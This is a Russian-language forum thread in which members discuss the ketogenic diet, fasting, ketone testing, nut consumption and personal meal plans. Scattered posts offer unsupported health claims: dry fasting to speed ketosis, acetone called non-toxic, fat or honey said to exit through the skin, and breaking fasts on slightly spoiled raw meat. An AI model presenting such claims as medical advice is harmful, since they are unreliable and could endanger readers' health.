Данные Dr. Ede. Интересно энергетическое соотношение жира - 57% энергии (как и в грудном молоке - 56%), у меня при свободном питании с уклоном к жирному также устанавливается схожий процент - 58. Насчет остальной части энергобаланса, есть перекос от углеводов к белку, однако учитывая что последний легко трансформируется в углеводы, это соотношение у нее также может быть соблюдено в соответствии с грудным молоком, при условии если из тех 65 г 52 идут на глюкозу и 13 используются как собственно белок.
|
Re: Кетогенная диета
Цитата:
. |
Re: Кетогенная диета
Кто и как численно оценивает кетоз?
|
Re: Кетогенная диета
Цитата:
Я как то на голодании измерял кетоны в моче тест полосками Кетофан. И рекомендую почитать http://golodanie.su/forum/showthread...%FB#post351532 |
Re: Кетогенная диета
О вреде избытка углеводов для детей:
Цитата:
|
Re: Кетогенная диета
Цитата:
В кетозе потребность в кислороде меньше: для метаболизма жиров требуется меньше кислорода, чем для метаболизма глюкозы. |
Re: Кетогенная диета
Цитата:
Цитата:
|
Re: Кетогенная диета
Заметил интересный эффект. При ограничении воды, организм по собственному желанию переходит на низкоуглеводное питание. При том что никаких ограничений на углеводистую пищу нет.
При средней калорийности 800, углеводов получается 36 г/сут (18% энергии). |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
Помнишь я тебе предлагал опыт с глюкозой. При аэробном распаде глюкозы образуется эндогенная чистейшая ВОДА. С6Н12О6 + 6О2 → 6СО2 + Н2О + 2820 кДж/моль. http://upload.wikimedia.org/wikipedi..._Glicozida.png |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
1.Погрызи сухари несколько дней без воды. 2.Столько же дней без воды рассасывай таблетированную глюкозу. |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
какое оптимальное соотношение белков к жирам в кетогенной диете? а в низкоуглеводной диете?
кто либо пробовал сыромоноедение масляничных культур? |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Хм, вот ведь что удивительно... Даже и не стремлюсь к низкоуглеводке и давно не практикую, а всё равно угли устанавливаются на 18% энергии, как и у Dr. Ede. Ем что и сколько хочу, только воду и фруктозу ограничиваю. Организм что, под воздействием голоданий и/или низкоуглеводных диет сам "решил", что так ему будет лучше, или что? Также интересно, вопрос к топикстартеру и другим лоукарберам - у вас БЖУ в среднем (с учетом срывов) сколько % энергии получается? Ну это когда/если у вас питание без жестких ограничений, конечно.
|
Re: Кетогенная диета
Цитата:
Цитата:
Есть еще "ликвидорианцы", праноеды всякие, которые белок не жрут. |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
Праноеды всякие по уровню бытия находятся выше "ученых" пищевых наркоманов, так что "ученым" негоже переть со свинным рылом в калашний ряд... |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
испробовал моно семечки подсолнуха и тыквенные, чёрный кунжут, какао бобы, миндаль, в виде пюре для улучшения переваривания, запивая их же маслом, так длилось несколько дней, потом потянуло на белки, стал есть свежие живые устрицы с сушёным рыбьим филе. Всё с аппетитом, на угли не тянет. Устрицы - единое существо которое можно есть живьём, хранится 4 дня без пищи и воды, тогда как рыбу живьём можно съесть только сразу после поимки. Но и к семечкам отвращения не получилось, но организм требует животного белка, вот именно животного, а не растительного, которого и так много в семечках и орехах.
P.S. обратите внимание на свои гастрономические сны, там можете найти подсказки к вашей диете |
Re: Кетогенная диета
Прочитал на днях Жолондз М.Я., "Вегетарианство". Там он описывает факторы/условия лишения мозга подпитки при низкокалорийном питании на вегетарианстве. Интересно, как сказывается, в случае, питания на мясе/жире в деятельности мозга. При редком питании я употребляю за раз порядка 3000-4000 ккал. и с головой вроде бы пока (скоро будет год) нормально мысли шевелятся, что приходится их даже гасить (ни кому не нужны наши идеи в нашей стране, только платишь за авторство на патент), то бишь как бы с башкой все нормально - "Но черт возьми...".
|
Re: Кетогенная диета
Цитата:
Цитата:
|
Re: Кетогенная диета
Кстати насчет орехов-семечек. Хотя я стремился к разнообразию, но постепенно отпали все орехи и семечки после того как подключил арахис. Теперь только его и ем. Вкусный, зараза. Или может организм просто считает что у него лучший состав? Как бы то ни было, вот такие дела. Мелкий красный (или мелкий розовый) самый лучший как по вкусу так и по качеству.
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
Разговоры о вреде арахиса носят гипотетический характер, например, "он бывает часто заражен плесенью и её афлатоксином - значит может быть вред", "там ингибиторы - значит может быть вред", "там много жира - значит может быть лишний вес и вред" и т.д. Но исследования, наоборот, показывают обратную ассоциацию риска болезней и смертности с потреблением орехов в целом и арахиса в отдельности. Специально отделяли арахис от других орехов (поскольку это как бы не настоящий орех, а бобовое), но обнаружили, что он по своим положительным эффектам не отличается от классических древесных орехов. Таким образом, по иронии судьбы именно арахис является единственным "орехом", польза которого показана в отдельности. Остальные орехи оценивались все вместе, без различения по видам, таким образом нельзя понять все ли они одинаково полезны, или же какие-то больше, какие-то меньше. Арахис же полезен в той же степени, сколь остальные орехи в целом. Ниже статья о наиболее крупном и качественном из таких исследований. Хотя оно и наблюдательное, то есть может установить только ассоциацию, а не причинно-следственную связь, но его высокое качество и особо тщательные коррекции предполагают, что причинно-следственная обратная связь орехов и смертности весьма вероятна. Профессиональная оценка http://medpro.ru/digest/prodolzhitel...2%80%A6_orekhi также отмечает высокое качество этого исследования. Метаанализ http://www.ncbi.nlm.nih.gov/pubmed/24847854 (при котором обрабатывается множество исследований с учетом параметров их качества), также подтвердил то же самое - потребление орехов обратно связано со смертностью. Это перекликается и со многими исследованиями о пользе орехов в профилактике заболеваний и улучшении биомаркеров. Полезные вещества в составе орехов (ненасыщенные жиры, витамины, клетчатка, флавоноиды, фитостеролы и др.) согласуются с их пользой. Наконец, также существуют и строгие доказательства, устанавливающие причинно-следственную связь, полученные в других, меньших исследованиях. Орехи продлевают жизнь Первое крупное исследование о пользе орехов показало, что у людей, которые ежедневно съедают горсть орехов, шансы умереть на 20% меньше, в сравнении с теми, кто данный продукт не потребляет. Такое заключение сделали ученые из Института рака Дана-Фарбер, Университета Бригама Янга и Гарвардской школы общественного здравоохранения. Результаты исследований содержат и другие приятные новости: регулярное потребление орехов позволяет сохранить стройность. Любителям орехов теперь не стоит бояться лишнего веса. Наиболее очевидное преимущество орехов - сокращение на 29% смертности от сердечно-сосудистых заболеваний. Также ученые отметили значительное снижение - на 11% - риска смерти от рака. Правда, пока ученые не определили конкретный вид ореха, который имеет решающее значение для защиты организма. Тем не менее, положительный эффект был отмечен как при потреблении арахиса, так и при потреблении других видов орехов - грецких орехов, фундука, миндаля, бразильского ореха, кешью, пекана, фисташек, макадамии и кедровых орехов. Некоторые предыдущие исследования обнаружили связь между увеличением потребления орехов и снижением риска таких недугов, как болезни сердца, диабет 2 типа, рак толстой кишки, камни в желчном пузыре. Частое потребление орехов также связывают с сокращением уровня холестерина, снижением окислительного стресса, воспаления, ожирения и невосприимчивости к инсулину. Есть работы, которые показывают, что добавление орехов в рацион снижает общую смертность у отдельных групп населения. Но ни одно из предыдущих исследований подробно не рассматривало различные объемы орехов и их влияние на общую смертность в большой популяции на протяжении более 30 лет. Для нового исследования ученые использовали базы данных из двух известных текущих наблюдательных исследований, которые собирают сведения о диете и других факторах образа жизни и их последствиях для здоровья. Представлены данные о 76 464 женщинах в период с 1980 по 2010 годы и данные о 42 498 мужчинах с 1986 по 2010 год. Участники исследований заполняли анкеты о потребляемых продуктах каждые два-четыре года. В каждой анкете участникам было предложено оценить, насколько часто они потребляли орехи и указать размер порции (обычный маленький пакет арахиса содержит примерно 30 г). Чтобы исключить другие факторы, влияющие на смертность и стояние здоровья, ученые провели сложнейший анализ. Например, исследователи обнаружили, что люди, которые едят больше орехов, более стройные, реже курят, и, скорее всего, занимаются спортом, принимают витамины, потребляют больше фруктов и овощей, но пьют больше алкоголя. Анализ позволил выделить связь между орехами и смертностью независимо от названных факторов. Люди, в рационе которых есть орехи, в ближайшие 30 лет реже будут испытывать трудности со здоровьем. Те, кто ест орехи реже раза в неделю, снижают тем самым вероятность смерти на 7%. Потребление орехов раз в неделю снижает смертность на 11%; два-четыре раза в неделю - на 13%; пять-шесть раз в неделю - на 15%, а семь или более раз в неделю - на 20%. Авторы отметили, что данное исследование до конца не доказывает наличие причинно-следственной связи между орехами и состоянием здоровья. Тем не менее, результаты перекликаются с данными других подобных исследований в пользу потребления орехов. На основе предыдущих исследований Комиссия по контролю пищевых продуктов и лекарственных препаратов США рекомендует потреблять 45 г орехов в день для снижения риска сердечно-сосудистых заболеваний. http://zoom.cnews.ru/rnd/news/line/o...dlevayut_zhizn |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
оказывается и кони и люди любят семечки. Кстати, в детстве я с удовольствием ел жмыхи от семечек (макуха), рядом была сельская масловыжималка, теперь её не видно.
Я с интересом изучаю корм коней и свиней, их ЖКТ ближе к человеческому, нежели у жвачных животных. |
Re: Кетогенная диета
раскошелился и купил книгу "Чудо кокосового масла", на англ. Не жалею, много интересных выкладок о жирах в теоретической части. И в догонку купил его книгу о кетогенной диете. Сейчас всё критически изучаю, чтобы самому ориентироваться в ценности жиров, без подсказок.
Например, что лучше, масло какао или кокосовое? Автор там не упоминает масло какао, нужно самому вычислить. |
Re: Кетогенная диета
Цитата:
Шоколад, наверное тебе очень нравиться. ))) |
Re: Кетогенная диета
Цитата:
Все подарочные шоколaды я выбросил в мусорку. Но у меня есть масло какао и кокосовое и масло дерева ши. Автор той книги зациклился на кокосовом масле, что настораживает. P.S. Его книги, которые я сейчас читаю: 1 - Fife, Bruce. The Coconut Oil Miracle, 5th Edition. Penguin Group US -издательство. 2 - The Coconut Ketogenic Diet: Supercharge Your Metabolism, Revitalize Thyroid Function, and Lose Excess Weight (English Edition) Bruce Fife (Автор) |
Re: Кетогенная диета
Вот уж казалось бы, сторонники всех диет и рационов претендующих на ЗОЖ все соглашаются в одном: рафинированные продукты - абсолютное зло. Ан нет, оказывается некоторые даже сами готовы рафинировать... :-)
|
Re: Кетогенная диета
Привет всем кетогенщикам с опытом, теперь и я в вашей песочнице. После двух лет вегетарианства, а потом и веганского сыроедения, в поисках наиболее оптимальной системы питания.
С сыроедения резко перешла на питание чуть ли не одним салом и (о чудо!) абсолютно никакого дискомфорта. Нет ни вздутия, ни болей, ни тошноты, вообще никаких проблем с пищеварением. Перестал болеть желчный. Ем два раза в день - утром, как только проснусь (6-7) и второй раз в 4-6 часов вечера. Голода нет. Сыроедческий жор прошел. Рацион сейчас примерно такой: утро - 2 яйца, приличный шмат сала (грамм 100) обед - то же самое. или 2 яйца+грамм 300 селедки. + иногда простокваша из углеводов - квашенная капуста/пара морковок/вареная свекла По калориям из-за сала выходит выше крыши. Со временем буду сокращать. Привыкла есть большие объемы на веганстве. Назрело пара вопросов. Когда лучше есть углеводы - с утра или все-таки вечером? Овощи. Сырые или вареные? Мнения по этим вопросам расходятся. И еще. Обязательно ли нужно принимать какие-то добавки? С таким рационом, какой у меня сейчас, я думаю, определенно может возникнуть дефицит определенных веществ. Какие продукты следует добавить? Можно ли обойтись без синтетических добавок? |
Re: Кетогенная диета
^ "Пара вопросов" несерьезные, особого значения это не имеет. А вот насчет дефицитов, да, в зависимости от набора продуктов могут какие-то развиться. Так что составляйте рацион с учетом потребностей. Продуктами можно, но сложно - придется колдовать со смесями и возможно искать всякую экзотику. Проще конечно принять поливитаминку, хотя ряд исследований показал что они, предположительно, могут быть вредны.
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Уважаемые участники форума, у меня вопрос. Прошу прощения, если он не напрямую относится к теории кетогенной диеты.
Дело в том, что я заметил, когда моя диета так или иначе приближается к высокожировой (неважно с микро-дозами углеводов или без углеводов), кожа на лице начинает сильно жирниться. То есть лицо достаточно быстро становится круглым (отечным) и сильно "масляным". Есть этому объяснение? Просто как я понял не должно быть прямой жесткой связи между питанием жирами и гиперфункцией сальных желез. Заранее благодарю за любые ответы. |
Re: Кетогенная диета
это даже хорошо. Избыток жиров организм выводит через кожу, вместо их откладывания под кожей. То же может быть и с углеводами. Мне один молодой человек рассказывал как он разом съел банку мёда, и через некоторое время мёд стал выходить через кожу живота.
IMHO |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Столкнулась вот с такой проблемой. Пока на без/малоуглеводке, чувствую себя отлично. Но в какой-то момент тянет на углеводы. А потом не могу остановиться их поглощать, ем в невообразимых количествах, объедаюсь, становится плохо. Вздутие, расстройства и т.д.
Подозреваю у себя синдром раздраженного кишечника. В рекомендациях при этой проблеме - ограничить жиры, увеличить белки и углеводы. Но от углеводов мне нехорошо. Да и одними белками питаться не будешь же. Что делать, товарищи? Помогите советом. |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Моя кетогенная диета закончилась бесславно, практически не успев начаться -- через неделю. Провела серьезную подготовку (прочитала всю эту ветку и еще немного информации из интернета :-)). И очень воодушевилась в надежде как-то дать отпор своим аутоиммунным болячкам.
Но ни тут-то было! Неприятности начались с первой же ночи -- стали сниться кошмары. Днем же до третьих-четвертых суток все было нормально. Даже очень! Но уже к пятым стали забываться слова и вообще голова стала какой-то тяжелой. Думать над тем, что надо было по работе, не получалось. Двигаться тоже приходилось через силу. И (это также насторожило!) возникли проблемы с координацией движений. Шестые-седьмые сутки продолжала кето-диету, надеясь переждать "переходный период": вдруг потом станет лучше. Но в конце концов после последней бессонной ночи, проведенной в очень непонятном состоянии, эксперимент прекратила... Жутко жаль. Диета вкусная :-), на углеводы совершенно не тянуло. И надежды были колоссальные. Но что-то, видимо, делала не так. Может быть, какая-то несовместимость с принимаемыми лекарствами? Или организм такой дурной? Или поспешила с выходом из диеты? Но, действительно, стало страшно... |
Re: Кетогенная диета
Цитата:
Цитата:
Цитата:
Цитата:
|
Re: Кетогенная диета
Цитата:
Цитата:
Цитата:
Но, думаю, скорее всего, Вы правы! Зря паникую. Сейчас (прошло полтора дня с момента окончания диеты) уже всё более или менее нормально: почти как обычно. Надо будет немного позже попробовать еще раз. Уже с записью калорийности и всего прочего :-) |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Яся, следуя диете, адаптиция к кетогенке занимает несколько недель. То что вы описали свидетельствует о низкой глюкозе, т.е. глюкоза уже низкая, а мозг на кетоны ещё не переключился, вот он и страдает.
Самый быстрый и эффективный переход на кетогенку это через голодание, минимум 2 дня, чтобы израсходовать печёночный гликоген и перейти на жиры/кетоны. Иначе, при питании, только этот переход у вас займёт с неделю. То что кетоны в системе уже есть ничего не значит -- для мозга. Для того чтобы мозг перешёл на кетоны (особенно если это в первый раз или первый раз за долгое время), они должны достичь определённого уровня, а это занимает время. Нужный уровень кетонов быстрее и легче всего достигается на сухом (или суховатом) голоде -- иначе вода во-первых разбавляет их концентрацию в плазме, а во-вторых выводит их с мочой. То же самое происходит на голоде: ступенчатая адаптация проявляется в кризах, и первый криз занимает 7-10 дней -- вот сколько времени занимает мозгу адаптироваться к кетогенке --на голоде! На диете все сроки умножаются в разы, но, конечно они зависят от кол-ва углеводных калорий. В начале, чем меньше, тем быстрее вы перестроитесь, а потом уже можно их и прибавить. |
Re: Кетогенная диета
Reasonable! Maksenek! Спасибо!
Попробую недели через две возобновить эксперимент. С учетом ваших советов. И постараюсь не пугаться понапрасну... Просто такого состояния не удавалось "получить" даже при довольно длительном голодании :-) *** Цитата:
Сколько чего нужно на кето-диете (не в пропорции, а количественно) особо нигде не написано. Но, если чего-то будет больше, то возрастет калорийность. Да и мне больше не съесть :-) |
Re: Кетогенная диета
Кто-нибудь пробовал есть/пить только 100% жир/масло?
|
Re: Кетогенная диета
Цитата:
Подсчет неправильный. Эта характеристика кетодиеты выражается не в отношении жира к белку, а в отношении жира к сумме белка и углеводов. |
Re: Кетогенная диета
Цитата:
Другие масла не подходят, и причина вот какая: Если выпить много масла, то пронесёт, как при чистке печени. Если же пить по ложке через час, то это вредно, так как для расщепления масла ЖКТ должен заводить каждый раз машину. Только кокосовое масло может усвоиться без жёлчи. |
Re: Кетогенная диета
Цитата:
Цитата:
Вопрос был не в смысле "какое можно есть/пить", а "кто пробовал". То есть интересует личный опыт. |
Re: Кетогенная диета
Цитата:
И ответил на вопрос почему не другое масло. Топлёное масло вызывает у меня отвращение, тогда как на кокосовое - тянет. Значит организм чувствует это. |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
Цитата:
|
Re: Кетогенная диета
Цитата:
Это не факт, что такое питание мне помогло. И это не рекомендация для других. Вы спросили, пробовал ли кто либо... В моём ответе много субъективного, но это всего лишь ИМХО, и не для дискуссий. Но я с интересом прочитаю возможную критику, и опыт других. |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Low Water --> Slow Metabolism
Цитата:
в картошке много крахмала, то есть углей. Если средства позволяют, попробуй масло яичных желтков. |
Re: Low Water --> Slow Metabolism
Цитата:
Цитата:
|
Re: Low Water --> Slow Metabolism
Цитата:
Цитата:
|
Re: Low Water --> Slow Metabolism
ArmStrong, спасибо! Ты сам его потреблял? Твои ощущения, польза, выводы.
|
Re: Low Water --> Slow Metabolism
Цитата:
http://www.youtube.com/watch?v=EgBri7K1Ejo http://www.mlynok.com.ua/ru/internet...leniya-khlopev Цитата:
|
Re: Low Water --> Slow Metabolism
Цитата:
желтки на сковородку плюс растительное масло, слабый огонь, масло слить потом, а яичницу в рот себе или другим, не выбрасывать же. Масло долго хранится в холодильнике, можно и для наружного применения и массажа. Быстро и легко. Возможно рецепт Багирочки лучше, но там много мороки и труда. P.S. теперь лишние яйца не залеживаются у меня на кухне... |
Re: Кетогенная диета
Друзья! Нужен совет, кто в курсе и имеет опыт. Но я в таком состоянии, что не могу сформулировать что спрашиваю :-(
Сыроедил и сыромоноедил сколько-то дней, потом после этого в эти выходные ел то сало то жирный куриный бульон (понемногу и редко). Сейчас вот что: Цитата: Сообщение от monoed Я как-то делился, что могу без полосок только по самочувствию определить, есть у меня кетоны или нет. Ну и не только я. Померил сейчас полоской, она зашкалила по цвету на максимальных 8-ми единицах. Это опасно, потому что если она показала максимум, значит там может быть и 9 и 10 и больше. Самочувствие при этом странное, но не похожее на 1.5 или 2 кетонов (тогда было тяжелее). Скорее всего высокий ацетон дурманит и чувствительность к страданиям падает, может возникать эйфория или другие проявления неадекватности. ... ... употребил 100 мл. подслащенного клюквенного сока (4.5 гр сахара) и 67 гр. чистой мякоти черешни, через 1 час снова замерил кетоны -- по прежнему зашкаливают больше максимальной восьмерки, но самочувствие поменялось. Просто стало другим каким-то, непонятно... |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
Вопрос такой: сколько можно безопасно находиться в состоянии кетоза при ацетоне в моче более 8-ми, если это он и был? Был нарушен сон гдето последние 4 дня, возможна ли адаптация к высокому ацетону и как скоро она начинается? Если бы я не стал есть и пить угли, а только пил бы больше воды, как быстро ацен снизился бы до комфортного минимума? |
Re: Кетогенная диета
Цитата:
Цитата:
Касательно кетонов в крови, как только сахар и => инсулин поднимутся, печень сраззу же перестаёт производить кетоны, и уровень кетонов в крови падает стремительно (что будет отражено в моче часа через 4-6). |
Re: Кетогенная диета
Reasonable, спасибо! Теперь ясно, что есть некоторое запоздание реакции мочи на кетоны в крови. Глюкоза из напитков усваивается стремительно, значит можно их применять. Буду иметь ввиду.
А что с критичным уровнем ацетона в крови? Есть опасность или орг. не будет его производить в смертельных количествах по природе? |
Re: Кетогенная диета
Так и не написал, что у тебя было за состояние, но учитывая что после этого "провалился в глубокий сон" можно догадаться, т.к. у меня похожее бывало на кетодиете. А откуда инфа, что высокие кетоны могут быть опасны?
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Причина нехватки энергии в момент начальной адаптации к кетодиете в том, что организм не может заместить недостающую глюкозу кетонами сразу, нужно несколько дней на раскачку. В этот период ощущается нехватка энергии и происходит повышенный расход белка на синтез глюкозы. Поэтому мозг как в тумане, странное состояние, усталость, сонливость.
http://maksenek.narod.ru/graphs/four...of-fasting.png |
Re: Кетогенная диета
Цитата:
Распространено неверное мнение, что ацетон якобы яд, но это исключительно потому что в быту он используется как растворитель ядов (и не только). Но сам ацетон не ядовит, эта простая органическая молекула является ествественным природным летучим веществом с фркутовым запахом. Цитата:
|
Re: Кетогенная диета
Заметил, что на полном голодании намного легче (порой даже как будто и вовсе не голодаешь), чем на кетодиете или даже просто на низкоуглеводной без ограничения белка. Хотя казалось бы, диета это должен быть более щадящий вариант, чем полное голодание. Голодания правда делаю только сухие, на мокром не знаю как было бы. Но многие пробовавшие то и другое также отмечают что сухое переносится легче. Может, это оттого что концентрация кетонов в сгущаемой крови быстрее повышается? Или другие причины?
|
Re: Кетогенная диета
Цитата:
Цитата:
|
Re: Кетогенная диета
Состав низкокалорийной (600 ккал) кетогенной диеты (Сейфрид).
32 г белка 42 г жира (в т.ч. 10 г СЦТ) 10 г углеводов. Источник: http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2874558/ |
Re: Кетогенная диета
Цитата:
Такой состав имеют многие сорта мяса или рыбы. |
Re: Кетогенная диета
Цитата:
Цитата:
Цитата:
http://www.intelmeal.ru/nutrition/fo...f_Products.php http://www.intelmeal.ru/nutrition/fo...h_Products.php В кетогенные диеты и низкоуглеводные для замены кетогенной добавляют 10 г углеводов. Возможно, столько требуется для минимизации расхода белка на синтез глюкозы. |
Re: Кетогенная диета
Цитата:
Цитата:
Я люблю конкретику.. |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
Подруга из-за этого (во всяком случае, такое "официальное" объяснение :-)), выйдя замуж, не стала менять фамилию: девичья начиналась на букву "А" :-) |
Re: Кетогенная диета
Яся, на западе так и было, но потом нобелевские светила стали себя указывать на последнем месте, типа проталокивать своих учеников , ну а также из "скромности". А потом так и повелось. В медицине/физиологии/биологии все главные на последнем месте. В физике/математике не припомню, но там в основном один-два автора, редко три.
|
Re: Кетогенная диета
Цитата:
Посмотришь на список публикаций ректора какого-нибудь вуза -- такая широта интересов, ну просто человек эпохи Возрождения. А в действительности, он уже давно администратор, напрочь забывший о научной работе. И сам обо всех "своих" статьях и патентах даже не знает. Хотя, конечно, не могу судить обо всех. Только о некоторых :-) === Maksenek! Извините за отступление от Вашей темы :-) |
Re: Кетогенная диета
Цитата:
1. Бройлер грудка с кожей - 70 г Арахис Валенсия (мелкий красный) - 65 г Орех грецкий - 7 г Кофе растворимый - 2 г 2. Бройлер грудка без кожи - 70 г Арахис Валенсия (мелкий красный) - 55 г Орех грецкий - 22 г Кофе растворимый - 2 г |
Re: Кетогенная диета
Цитата:
Интересует меня и самочувствие при поедании этого рациона. |
Re: Кетогенная диета
Цитата:
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
Нажмите тут для просмотра всего текста
Тогда народ вообще редко мылся даже в России (в том числе и бани принимал). Вообще народ не мылся по множеству разных причин, в т.ч. и из-за суеверий. Трудно представить, что они думали про натрий. Даже в послевоенном СССР, основной народ не мылся каждый день. 1 раз в неделю, максимум 2.
|
Re: Кетогенная диета
Цитата:
В книге писалось о том, что возможно в принципе, а что нереально. так в случае Лыковых был дефицит белка и соли. Белок они получали из кедровых орешков, а о оси я уже писал. https://ru.wikipedia.org/wiki/%D0%9B...B8%D0%BA%D0%B8) //В 1930-е годы несколько семей, в том числе и Лыковы, ушли в Саянскую тайгу и много лет жили в строгой изоляции. Они принадлежали к умеренному старообрядческому толку «часовенных». Однако уже в 1953 году в перечне географических терминов хакасско-русского словаря упоминается «Лыков иб» — Заимка Лыковых (Таш.)[1]. Ныне это название кластерного участка заповедника Хакасский. В 1978 году геологи случайно обнаружили Лыковых при обследовании реки Большой Абакан. История о семье отшельников, незнакомых с современной цивилизацией, получила огромный резонанс в советской прессе тех лет// |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
переутомление и переохлаждение. В любом случае это выражается снижением температуры тела. Помогает если хорошо прогреться: шерстяная жилетка и т.д. Можно и в баню. На начальных этапах мне хорошо помогает раствор аскорбинки. Для вкуса в него я добавляю чуть чуть меда. В любом случае если нет жировой "подушки безопасности" желательно обходиться без переохлаждений. |
Re: Кетогенная диета
Горло вроде прошло, возобновляю кетодиету.
Кто-нибудь знает, можно ли считать грудкой то что на второй картинке? По крайней мере в отношении питательной ценности (чтоб было тоже белое мясо, с тем же содержанием белка и жира)? А то в продаже в такой форме ("со штанишками") бывает намного чаще, чем просто в виде "сердечек". http://edu-domoi.ru/wp-content/uploa...19-300x300.jpghttp://edamoll.ru/upload/iblock/cdd/...03e84cc039.png |
Re: Кетогенная диета
Нажмите тут для просмотра всего текста
Цитата:
p.s. лично мне грудки не очень нравятся, в них меньше жира и соединительных тканей, мне кажется. Предпочитаю крепкий 3-х часовой бульон из ножек или крыльев |
Re: Кетогенная диета
Да, это форма грудки в зависимости от метода разделки. Вопрос почему возник, не врут ли производители чтоб продать побольше, добавляя эти "шорты", то есть относятся ли они также к грудке в плане типа мяса и соотношения белка и жира?
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Неделикатный но нужный вопрос: как влияет кетогенная диета на консистенцию стула? По-моему, разжижает. Чем больше доля жира, тем жиже стул. IMHO
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
выпейте много масла, как при чистке печени, и вас пронесёт. То есть масло разжижает стул.
|
Re: Кетогенная диета
Цитата:
В любом случае, к нормальному питанию питье масла не имеет никакого отношения, поэтому экстраполировать выводы с маслопития на обычную еду более чем некорректно. |
Re: Кетогенная диета
Кстати ни кто не задумывался, почему только хищники зализывают раны?!!! Травоядные даже не приспособились к этому (самое большее могут хвостом муху отогнать).
|
Re: Кетогенная диета
Цитата:
ЗЫ: А почему после вопроса вы поставили три восклицательных знака?:-) |
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Наконец-таки подобрал окончательный рацион для моей "сейфридовской" кето-VLCD, который мне вкусен, удобен и комфортен.
Куриная грудка охлажденная с кожей (вареная) - 75 г Арахис жареный соленый - 70 г Макровит - 1 таб Цикорий (сухой растворимый) - 3 г Ем 1 раз в день утром. Далее в течение суток периодически и пью горячий цикорий, заваривая небольшими порциями ~25-50 мл. Самочувствие отличное. На 3-й день вечером возникло чувство голода умеренной выраженности, но быстро прошло. А на следующее утро (4-й день) немного поболела голова, тоже быстро прошло. Возможно это было связано с переходом организма с углеводного на жировой обмен. Сегодня 5-й день уже, полет нормальный) |
Re: Кетогенная диета
В исследовании попалось указание на возможную причину того, почему животные живут меньше на кетогенной диете:
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
Здравствуйте, уважаемые пользователи. У меня к вам всего один, но важный вопрос. Кому-нибудь попадались объяснения в научных источниках, для чего в терапевтические кетодиеты включают около 10 г углеводов? А также, существуют ли такие диеты вообще без углеводов или с меньшим их количеством. Спасибо.
|
Re: Кетогенная диета
Вообще то терапевтические кетодиеты, как правило, не оперируют граммами. Они используют формулу Уайдлера для определения кетогенности рациона.
|
Re: Кетогенная диета
Здравствуйте! Я на кето уже полгода. Сейчас голодаю 2-ой день. Планирую минимум 7-10 дней для очищения организма от шлаков. Много читала, что выходить из голода надо на соках, что совсем недопустимо в кето. А играть с инсулином я не хочу, только усмирила его. Может, кто-то имеет опыт голодания на кето. И как правильно выходить из этого голода, чтобы не окочуриться после первой же еды, поступившей в желудок?
|
Re: Кетогенная диета
Цитата:
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
я выходил с маленького срока на домашней молочке и сале - срок 8 дней сливки домашние рассасывал и сало тоже , на сале не советую ( как продукт не для меня ) а на сливках или на масле Гхи мне по вкусу - да и срок 8 дней думаю очень мал что бы так уж *ВЫХОДИТЬ*
|
Re: Кетогенная диета
Я выходил на сырой рыбе и сыром мясе. Без проблем.
|
Re: Кетогенная диета
Цитата:
|
Re: Кетогенная диета
voldav, можете рассказать, как именно Вы выходили? (Как начинали кушать, сколько по времени был выход) А нельзя ли рыбу и мясо посолить, а потом кушать, или только хардкор? Мне представить жутко. Я на водном голодании 3-й день. Планирую минимум 7 дней, максимум 21, по самочувствию.
|
Re: Кетогенная диета
Добрый день. Просмотрите дневник Василия, он выходил на рыбе, правда вареной. Обратите внимание на плотоядных животных. Они часто голодают, но "выходят" на плоти. Легче всего переваривается чуть-чуть лежалое мясо. Удачи. Ни в коем случае - Не солить. Посадите почки.
|
Re: Кетогенная диета
Выход на мясном бульоне:
ДИССЕРТАЦИЯ "О ТЕРАПЕВТИЧЕСКОМ ЗНАЧЕНИИ МОДИФИЦИРОВАННОЙ ДИЕТЫ ВОССТАНОВИТЕЛЬНОГО ПЕРИОДА РДТ, АДАПТИРОВАННОЙ К ОСОБЕННОСТЯМ ПИТАНИЯ НАСЕЛЕНИЯ МНР" |
Re: Кетогенная диета
Цитата:
Цитата:
|
Re: Кетогенная диета
Цитата:
|
Кетогенная диета может спровоцировать диабет 2-го типа
Кетогенная диета представляет собой низкоуглеводный рацион с высоким содержанием жиров и умеренным содержанием белков. На сегодня эта диета – одна из самых популярных во всем мире; она способствует снижению веса и считается здоровой.
